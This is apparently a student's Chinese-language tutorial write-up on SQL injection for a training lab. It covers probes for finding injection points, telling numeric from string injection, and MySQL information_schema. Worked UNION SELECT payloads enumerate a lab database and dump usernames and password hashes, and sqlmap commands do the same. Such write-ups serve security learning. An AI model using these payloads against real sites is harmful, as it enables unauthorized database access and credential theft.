又是一个被迫作业,一到周末反而忙死!
1.SQL注入
把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
2.种类
很多,但原理和利用方式几乎都差不太多,掌握一种,其他的可能就比较好学了。 (种类百度可能比较方便https://www.cnblogs.com/xuthus/p/9450805.html )
做题的话我理解就是先拿到他的库名,然后是表名,再是字段明,然后看字段内容。(通俗一点,每一个库里,可能有很多个表,每个表里有很多的字段,每个字段里都有可能就是flag的藏身之处!)所以找库!找表!找字段!
3.判断是否存在注入点
在库,表,字段找之前,你需要先知道它的注入点,也就是是说,看看网站是存在sql注入,然后通过一些测试判断sql注入的种类(数字型还是字符型),然后百度对应类型sql的注入语句就ok了。
很多方法: 1.单引号判断 ?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。
2.and判断 ?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页 ?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
3.or判断 (or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点) ?id=10’or 1=1 ?id=10’or 1=2
4.搜索型判断是否有注入: 简单的判断搜索型注入漏洞存在不存在的办法是先搜索’,如果出错,说明90%存在这个漏洞。然后搜 索%,如果正常返回,说明95%有洞了。 说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题 操作: 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%‘and 1=1 and ‘%’=‘和 2006%‘and 1=2 and ‘%’=’,存在异同的话,就是100%有洞了。 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’% 将and 1=1 换成注入语句就可以了
4.判断是数字型还是字符型:
数字型: url地址中输入www.xxxx.com/ccc.php?id=x and 1=1 页面显示正常,继续下一步
url地址中输入www.xxxx.com/ccc.php?id=x and 1=2 页面错误,这说明存在数字型注入。
字符型: www.xxx.com/ccc.php?id=1’ and ‘1’='1 页面正常,继续下一步 www.xxx.com/ccc.php?id=1’ and ‘1’='2 页面报错,则说明存在字符型注入。
5.SQL注入名词:
mysql 关键的库:information_shema 这个库包含了 mysql 里所有的库,表, 字段 information_schema.schemata--------库 information_schema.tables------------表 information_schema.columns--------字段 table_name 具体的数据表 column_name 字段名 order by 判断有多少字段 database() 查看当前使用什么数据库 version() 查看当前使用什么版本的MySQL limit 查询其它数据库或者表,列等名称
6.例题展示
(1)测试类型.字段,回显位
- 测试后发现是字符型 4个字段(order by 查字段)---------先确定类型和字段数
- 联合查询回显是2和3 ?id=’ union select 1,2,3,4 – - 【用联合查询看我们字段里哪几个能在页面上显示出来(显示出来了,说明我们可以在那个位置写一些其他查看库名表名的语句,得到的结果可以在页面上显示)】
(2) 查看库名
?id=’ union select 1,database(),version(),4 – - mozhe_discuz_stormgroup 【version是看版本】
(3)查看表名
测试后发现有两个 notice和stormgroup_member ?id=’ union select 1,table_name,version(),4 from information_schema.tables where table_schema=‘mozhe_discuz_stormgroup’ limit 0,1 – -
【limit n,m 中的第一次参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。 所以limit 0,1表示的是从第一条记录开始,只取一条即可。】
?id=’ union select 1,table_name,version(),4 from information_schema.tables where table_schema=‘mozhe_discuz_stormgroup’ limit 1,1 – -
(4)查看字段名
4个字段名 ?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 0,1 – -
?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 1,1 – -
?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 2,1 – -
?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 3,1 – -
(5)查看字段内容
?id=’ union select 1,concat(name,’ ‘,password,’ ‘,status),3,4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1 – -
?id=’ union select 1,concat(name,’ ‘,password,’ ',status),3,4 from mozhe_discuz_stormgroup.stormgroup_member limit 1,1 – -
(6)md5一下
(7)登录
7.SQLMAP工具(希望大家还是手工注入,把sqlmap当验证工具)
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v 0 #获取字段内容
|